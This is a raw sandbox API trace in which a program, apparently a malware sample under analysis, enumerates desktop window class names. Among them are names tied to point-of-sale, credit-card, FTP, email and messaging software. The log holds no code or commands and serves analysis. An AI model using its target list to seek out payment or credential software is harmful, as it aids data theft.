[0264.022] GetClassNameA (in: hWnd=0x100fe, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0264.022] GetClassNameA (in: hWnd=0x100fc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputWndClass") returned 19 [0264.022] GetClassNameA (in: hWnd=0x10176, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0264.022] GetClassNameA (in: hWnd=0x10168, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0264.022] GetClassNameA (in: hWnd=0x10158, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0264.022] GetClassNameA (in: hWnd=0x100fa, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0264.022] GetClassNameA (in: hWnd=0x100ec, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ApplicationManager_ImmersiveShellWindow") returned 39 [0264.022] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0264.022] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="VSyncHelper-0000000005C32F30-1b01546") returned 36 [0264.022] GetClassNameA (in: hWnd=0x10184, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="RawInputClass") returned 13 [0264.022] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0264.022] GetClassNameA (in: hWnd=0x100c8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0264.023] GetClassNameA (in: hWnd=0x100c6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0264.023] GetClassNameA (in: hWnd=0x100a0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0264.023] GetClassNameA (in: hWnd=0x100a4, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0264.023] GetClassNameA (in: hWnd=0x100b2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0264.023] GetClassNameA (in: hWnd=0x100bc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0264.023] GetClassNameA (in: hWnd=0x100c0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0264.023] GetClassNameA (in: hWnd=0x10084, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0264.023] GetClassNameA (in: hWnd=0x10090, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0264.023] GetClassNameA (in: hWnd=0x100ba, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0264.023] GetClassNameA (in: hWnd=0x20078, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Shell_TrayWnd") returned 13 [0264.023] GetClassNameA (in: hWnd=0x101dc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ATL:00007FFD45CE4120") returned 20 [0264.023] GetClassNameA (in: hWnd=0x100d2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0264.023] GetClassNameA (in: hWnd=0x202e2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0264.023] GetClassNameA (in: hWnd=0x30308, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="TabThumbnailWindow") returned 18 [0264.023] GetClassNameA (in: hWnd=0x20332, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="VSyncHelper-007CCDB8-956e40d") returned 28 [0264.024] GetClassNameA (in: hWnd=0x40194, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Alternate Owner") returned 15 [0264.024] GetClassNameA (in: hWnd=0x5020c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0264.024] GetClassNameA (in: hWnd=0x1037a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="often_far_on_cls") returned 16 [0264.024] GetClassNameA (in: hWnd=0x10378, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="utg2_class") returned 10 [0264.024] GetClassNameA (in: hWnd=0x20210, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Senseunderstandwnd") returned 18 [0264.024] GetClassNameA (in: hWnd=0x10374, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="spgagentservice_cls") returned 19 [0264.024] GetClassNameA (in: hWnd=0x10342, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="afr38window") returned 11 [0264.024] GetClassNameA (in: hWnd=0x10370, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="spcwin_wnd") returned 10 [0264.024] GetClassNameA (in: hWnd=0x10362, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="isspos_class") returned 12 [0264.024] GetClassNameA (in: hWnd=0x10334, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="active-charge_wnd") returned 17 [0264.024] GetClassNameA (in: hWnd=0x10366, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="mxslipstreamcls") returned 15 [0264.024] GetClassNameA (in: hWnd=0x1036a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="omnipos_wnd") returned 11 [0264.024] GetClassNameA (in: hWnd=0x1035c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="fpos_cls") returned 8 [0264.024] GetClassNameA (in: hWnd=0x1032c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="winscp_") returned 7 [0264.024] GetClassNameA (in: hWnd=0x10356, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="edcsvr_app") returned 10 [0264.025] GetClassNameA (in: hWnd=0x10352, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="creditservice_class") returned 19 [0264.025] GetClassNameA (in: hWnd=0x10326, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="yahoomessenger_class") returned 20 [0264.025] GetClassNameA (in: hWnd=0x10388, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0264.025] GetClassNameA (in: hWnd=0x10316, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="thunderbirdwindow") returned 17 [0264.025] GetClassNameA (in: hWnd=0x1034c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ccv_server_") returned 11 [0264.025] GetClassNameA (in: hWnd=0x10348, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="centralcreditcardwnd") returned 20 [0264.025] GetClassNameA (in: hWnd=0x10310, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="trillian_cls") returned 12 [0264.025] GetClassNameA (in: hWnd=0x10340, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="aldelowin") returned 9 [0264.025] GetClassNameA (in: hWnd=0x1030c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="smartftpcls") returned 11 [0264.025] GetClassNameA (in: hWnd=0x10336, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="accuposwin") returned 10 [0264.025] GetClassNameA (in: hWnd=0x10300, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="skype_win") returned 9 [0264.025] GetClassNameA (in: hWnd=0x10320, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="whatsappwindow") returned 14 [0264.025] GetClassNameA (in: hWnd=0x10312, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="webdriveclass") returned 13 [0264.025] GetClassNameA (in: hWnd=0x10302, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="scriptftpwindow") returned 15 [0264.025] GetClassNameA (in: hWnd=0x102f8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="outlook_win") returned 11 [0264.025] GetClassNameA (in: hWnd=0x102dc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="leechftp_class") returned 14 [0264.026] GetClassNameA (in: hWnd=0x102f6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="pidginwnd") returned 9 [0264.026] GetClassNameA (in: hWnd=0x102da, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="icq_class") returned 9 [0264.026] GetClassNameA (in: hWnd=0x102f0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="operamail_cls") returned 13 [0264.026] GetClassNameA (in: hWnd=0x102e4, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ncftpapp") returned 8 [0264.026] GetClassNameA (in: hWnd=0x102c6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="flashfxp_win") returned 12 [0264.026] GetClassNameA (in: hWnd=0x102e6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="notepad_win") returned 11 [0264.026] GetClassNameA (in: hWnd=0x102bc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="filezilla_") returned 10 [0264.026] GetClassNameA (in: hWnd=0x102ce, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="gmailnotifierpro_class") returned 22 [0264.026] GetClassNameA (in: hWnd=0x102d0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="foxmailincmail_win") returned 18 [0264.026] GetClassNameA (in: hWnd=0x102b0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="barcawnd") returned 8 [0264.026] GetClassNameA (in: hWnd=0x102c8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="fling_") returned 6 [0264.026] GetClassNameA (in: hWnd=0x102ba, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="coreftpclass") returned 12 [0264.026] GetClassNameA (in: hWnd=0x102b8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="farwnd") returned 6 [0264.026] GetClassNameA (in: hWnd=0x102ac, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="bitkinex_wnd") returned 12 [0264.026] GetClassNameA (in: hWnd=0x102a8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="alftp") returned 5 [0264.027] GetClassNameA (in: hWnd=0x1029c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="3dftp_app") returned 9 [0264.027] GetClassNameA (in: hWnd=0x1029a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="absolutetelnet_window") returned 21 [0264.027] GetClassNameA (in: hWnd=0x10282, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Hundredmarriageclass") returned 20 [0264.027] GetClassNameA (in: hWnd=0x10272, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="causewnd") returned 8 [0264.027] GetClassNameA (in: hWnd=0x1027e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="walloil") returned 7 [0264.027] GetClassNameA (in: hWnd=0x10280, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="stock_Decide_Improve_cls") returned 24 [0264.027] GetClassNameA (in: hWnd=0x10270, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Green_hard_wind_wnd") returned 19 [0264.027] GetClassNameA (in: hWnd=0x10256, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="his_window") returned 10 [0264.027] GetClassNameA (in: hWnd=0x10254, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ProductRepublicanamountclass") returned 28 [0264.027] GetClassNameA (in: hWnd=0x10250, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="if_return_class") returned 15 [0264.027] GetClassNameA (in: hWnd=0x1024c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="FiveAddToowindow") returned 16 [0264.028] GetClassNameA (in: hWnd=0x10226, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="YardBeclass") returned 11 [0264.028] GetClassNameA (in: hWnd=0x10240, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="sourcewindow") returned 12 [0264.028] GetClassNameA (in: hWnd=0x10220, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Shothotwnd") returned 10 [0264.028] GetClassNameA (in: hWnd=0x10242, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="on_Walk_cls") returned 11 [0264.028] GetClassNameA (in: hWnd=0x10234, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="chanceEverybodyemployeeclass") returned 28 [0264.028] GetClassNameA (in: hWnd=0x10236, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="right_Forget_win") returned 16 [0264.028] GetClassNameA (in: hWnd=0x1021e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="coursesimilarAreacls") returned 20 [0264.028] GetClassNameA (in: hWnd=0x1022a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Instead_able_light_wnd") returned 22 [0264.028] GetClassNameA (in: hWnd=0x10218, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Account_") returned 8 [0264.028] GetClassNameA (in: hWnd=0x10216, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Task") returned 4 [0264.028] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ApplyOurstrategy") returned 16 [0264.028] GetClassNameA (in: hWnd=0x2013c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0264.028] GetClassNameA (in: hWnd=0x2012c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0264.028] GetClassNameA (in: hWnd=0x2013a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0264.029] GetClassNameA (in: hWnd=0x20132, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0264.029] GetClassNameA (in: hWnd=0x3002c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0264.029] GetClassNameA (in: hWnd=0x701f2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0264.029] GetClassNameA (in: hWnd=0x2031c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0264.029] GetClassNameA (in: hWnd=0x501e2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IEFrame") returned 7 [0264.029] GetClassNameA (in: hWnd=0x20144, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="DDEMLEvent") returned 10 [0264.029] GetClassNameA (in: hWnd=0x400f8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="DDEMLMom") returned 8 [0264.029] GetClassNameA (in: hWnd=0x801ea, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0264.029] GetClassNameA (in: hWnd=0x401fc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0264.029] GetClassNameA (in: hWnd=0x101d8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0264.029] GetClassNameA (in: hWnd=0x101d6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0264.029] GetClassNameA (in: hWnd=0x101d2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0264.029] GetClassNameA (in: hWnd=0x101c6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ATL:00007FFD43B47080") returned 20 [0264.029] GetClassNameA (in: hWnd=0x101c0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0264.029] GetClassNameA (in: hWnd=0x101b2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="SystemTray_Main") returned 15 [0264.030] GetClassNameA (in: hWnd=0x101ae, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0264.030] GetClassNameA (in: hWnd=0x101aa, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0264.030] GetClassNameA (in: hWnd=0x10148, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0264.030] GetClassNameA (in: hWnd=0x10118, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="PushNotificationsPowerManagement") returned 32 [0264.030] GetClassNameA (in: hWnd=0x1010e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0264.030] GetClassNameA (in: hWnd=0x10116, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="TabletModeCoverWindow") returned 21 [0264.030] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0264.030] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0264.030] GetClassNameA (in: hWnd=0x10114, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="DummyDWMListenerWindow") returned 22 [0264.030] GetClassNameA (in: hWnd=0x1010c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0264.030] GetClassNameA (in: hWnd=0x100ee, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="OleDdeWndClass") returned 14 [0264.030] GetClassNameA (in: hWnd=0x100ea, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="ApplicationManager_DesktopShellWindow") returned 37 [0264.030] GetClassNameA (in: hWnd=0x100e6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0264.030] GetClassNameA (in: hWnd=0x100e0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0264.031] GetClassNameA (in: hWnd=0x100de, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0264.031] GetClassNameA (in: hWnd=0x200d6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="WorkerW") returned 7 [0264.031] GetClassNameA (in: hWnd=0x100be, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="tooltips_class32") returned 16 [0264.031] GetClassNameA (in: hWnd=0xf030a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0264.031] GetClassNameA (in: hWnd=0xb033e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="URL Moniker Notification Window") returned 31 [0264.031] GetClassNameA (in: hWnd=0x20020, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Windows.UI.Core.CoreWindow") returned 26 [0264.031] GetClassNameA (in: hWnd=0x30016, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0264.031] GetClassNameA (in: hWnd=0x20028, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0264.031] GetClassNameA (in: hWnd=0x2004a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="PNIHiddenWnd") returned 12 [0264.031] GetClassNameA (in: hWnd=0x100aa, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0264.031] GetClassNameA (in: hWnd=0x10072, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="DDEMLEvent") returned 10 [0264.032] GetClassNameA (in: hWnd=0x1006e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="DDEMLMom") returned 8 [0264.032] GetClassNameA (in: hWnd=0x10022, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Dwm") returned 3 [0264.032] GetClassNameA (in: hWnd=0x10192, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="CicLoaderWndClass") returned 17 [0264.032] GetClassNameA (in: hWnd=0x3030e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0264.032] GetClassNameA (in: hWnd=0x100cc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="Progman") returned 7 [0264.032] GetClassNameA (in: hWnd=0x10136, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.032] GetClassNameA (in: hWnd=0x10178, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.032] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.032] GetClassNameA (in: hWnd=0x1015a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.032] GetClassNameA (in: hWnd=0x10186, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.032] GetClassNameA (in: hWnd=0x100ca, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="MSCTFIME UI") returned 11 [0264.032] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.032] GetClassNameA (in: hWnd=0x202e0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.032] GetClassNameA (in: hWnd=0x30296, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.033] GetClassNameA (in: hWnd=0x103a8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.033] GetClassNameA (in: hWnd=0x103a6, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.033] GetClassNameA (in: hWnd=0x103a4, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.033] GetClassNameA (in: hWnd=0x103a2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.033] GetClassNameA (in: hWnd=0x103a0, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.033] GetClassNameA (in: hWnd=0x1039e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.033] GetClassNameA (in: hWnd=0x1039c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.033] GetClassNameA (in: hWnd=0x1039a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.033] GetClassNameA (in: hWnd=0x10398, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.033] GetClassNameA (in: hWnd=0x10396, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.033] GetClassNameA (in: hWnd=0x10394, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.033] GetClassNameA (in: hWnd=0x10392, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.034] GetClassNameA (in: hWnd=0x10390, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.034] GetClassNameA (in: hWnd=0x1038e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.034] GetClassNameA (in: hWnd=0x1038c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.034] GetClassNameA (in: hWnd=0x1038a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.034] GetClassNameA (in: hWnd=0x10386, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.034] GetClassNameA (in: hWnd=0x10384, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.034] GetClassNameA (in: hWnd=0x10382, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.034] GetClassNameA (in: hWnd=0x10380, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.034] GetClassNameA (in: hWnd=0x1037e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.034] GetClassNameA (in: hWnd=0x1037c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.034] GetClassNameA (in: hWnd=0x1036c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.034] GetClassNameA (in: hWnd=0x10360, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.034] GetClassNameA (in: hWnd=0x10358, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.034] GetClassNameA (in: hWnd=0x1034e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.035] GetClassNameA (in: hWnd=0x10344, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.035] GetClassNameA (in: hWnd=0x1033a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.035] GetClassNameA (in: hWnd=0x10338, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.035] GetClassNameA (in: hWnd=0x1032e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.035] GetClassNameA (in: hWnd=0x1032a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.035] GetClassNameA (in: hWnd=0x10322, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.035] GetClassNameA (in: hWnd=0x1031a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.035] GetClassNameA (in: hWnd=0x10318, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.035] GetClassNameA (in: hWnd=0x10314, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.035] GetClassNameA (in: hWnd=0x10306, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.035] GetClassNameA (in: hWnd=0x102fc, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.035] GetClassNameA (in: hWnd=0x102fa, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.035] GetClassNameA (in: hWnd=0x102ec, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.035] GetClassNameA (in: hWnd=0x102e8, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.035] GetClassNameA (in: hWnd=0x102de, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.035] GetClassNameA (in: hWnd=0x102d4, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.036] GetClassNameA (in: hWnd=0x102d2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.036] GetClassNameA (in: hWnd=0x102c2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.036] GetClassNameA (in: hWnd=0x102b4, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.036] GetClassNameA (in: hWnd=0x102b2, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.036] GetClassNameA (in: hWnd=0x10294, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.036] GetClassNameA (in: hWnd=0x10292, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.036] GetClassNameA (in: hWnd=0x10290, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.036] GetClassNameA (in: hWnd=0x1028e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.036] GetClassNameA (in: hWnd=0x1028c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.036] GetClassNameA (in: hWnd=0x1028a, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.036] GetClassNameA (in: hWnd=0x10288, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.036] GetClassNameA (in: hWnd=0x10286, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.036] GetClassNameA (in: hWnd=0x10284, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.037] GetClassNameA (in: hWnd=0x1027c, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.037] GetClassNameA (in: hWnd=0x10274, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.037] GetClassNameA (in: hWnd=0x1026e, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.037] GetClassNameA (in: hWnd=0x10266, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 [0264.037] GetClassNameA (in: hWnd=0x10260, lpClassName=0x1014fd50, nMaxCount=260 | out: lpClassName="IME") returned 3 